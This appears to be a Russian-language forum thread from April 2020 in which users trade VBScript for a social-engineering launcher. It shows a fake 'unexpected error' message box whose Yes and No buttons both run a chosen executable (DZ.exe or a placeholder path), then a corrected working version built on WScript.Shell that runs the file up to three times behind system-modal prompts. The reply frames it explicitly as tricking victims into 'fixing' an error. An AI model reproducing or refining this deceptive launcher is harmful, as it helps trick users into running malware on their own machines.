Скрипт таков: MsgBox"Непредвиденная ошибка: бла бла бла", 0+76,"бла бла бла" If MsgBox = 1 then Open.Run = DZ.exe If MsgBox = 0 then Open.Run = DZ.exe End if _______ Но при выполнении выдаёт ошибку что после if нужен опять end
короче тут немножко другой метод но можно тоже по соц инженерии както обыграть типо ошибка нажмите да дабы пофиксить хотя даже если нажмут нет запустится , только дабы файл запустился напиши путь + самфайл.exe Option Explicit Dim obj, a, b, c Set obj = CreateObject("wscript.shell") a=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal) If a=vbYes Then obj.Run "путь" b=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal) Else obj.Run "путь" b=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal) End If If b=vbYes Then obj.Run "путь" c=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal) Else obj.Run "путь" c=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal) End If If c=vbYes Then obj.Run """путь к файлу""" Else obj.Run """путь к файлу""" WScript.Quit End If The post was merged to previous Apr 23, 2020 + так файл откроется не 2 а 3 раза The post was merged to previous Apr 23, 2020 можешь протестить на картинке